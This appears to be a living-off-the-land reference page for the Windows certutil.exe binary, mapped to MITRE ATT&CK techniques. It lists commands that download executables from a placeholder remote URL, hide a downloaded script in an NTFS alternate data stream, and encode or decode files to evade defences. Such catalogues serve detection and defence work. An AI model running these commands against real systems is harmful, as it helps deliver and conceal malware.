.. /Certutil.exe
Star

Download (GUI)
Alternate data streams
Encode
Decode

Windows binary used for handling certificates

Paths:

Resources:

Acknowledgements:

Detections:

Download

  1. Download and save an executable to disk in the current folder.

    certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}
    Use case
    Download file from Internet
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105

  2. Download and save an executable to disk in the current folder when a file path is specified, or %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash] when not.

    certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}
    Use case
    Download file from Internet
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1105

  3. Download and save an executable to %LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\[hash].

    certutil.exe -URL {REMOTEURL:.exe}
    Use case
    Download file from Internet
    Privileges required
    User
    Operating systems
    Windows 10, Windows 11
    ATT&CK® technique
    T1105
    Tags
    Application: GUI

Alternate data streams

  1. Download and save a .ps1 file to an Alternate Data Stream (ADS).

    certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:ttt
    Use case
    Download file from Internet and save it in an NTFS Alternate Data Stream
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1564.004

Encode

  1. Command to encode a file using Base64

    certutil -encode {PATH} {PATH:.base64}
    Use case
    Encode files to evade defensive measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1027.013

Decode

  1. Command to decode a Base64 encoded file.

    certutil -decode {PATH:.base64} {PATH}
    Use case
    Decode files to evade defensive measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1140

  2. Command to decode a hexadecimal-encoded file.

    certutil -decodehex {PATH:.hex} {PATH}
    Use case
    Decode files to evade defensive measures
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1140